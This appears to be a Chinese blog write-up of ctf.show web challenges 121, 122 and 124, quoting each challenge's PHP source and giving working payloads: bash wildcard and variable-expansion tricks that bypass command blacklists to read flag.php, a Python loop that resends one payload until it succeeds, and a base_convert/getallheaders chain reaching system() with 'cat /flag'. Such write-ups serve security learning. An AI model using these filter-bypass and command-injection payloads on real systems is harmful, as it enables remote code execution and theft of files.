${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web121

rev命令将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出。

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这里将USER禁止了!可以利用rev进行反读文件!

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

这样子得到的是反的flag!

web122


这里将PWD和#给禁止了,所以我们换一个命令/bin/base64,这次有HOME。

$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

报错对应的值!

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
hint:
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新

上个脚本来跑!

import requests
url = 'http://535535a0-6332-4ade-a0a3-09defd9a7928.challenge.ctf.show:8080/'
dataer = {'code':r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
    res = requests.post(url,data = dataer)
    if "PD9waHA" in res.text:
        print(res.text)
        break

在这里插入图片描述


web124(未做完)

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这里用到了base_convert()和getallheaders配合使用!
base_convert() 函数在任意进制之间转换数字。
getallheaders获得所有 HTTP 变量值。
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符

echo base_convert('system',36,10);
//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母

echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功

开始构造url

?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 
或者下面这个一get形式进行的!
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
posted @ 2021-04-14 22:39  望权栈  阅读(35)  评论(0编辑  收藏  举报  来源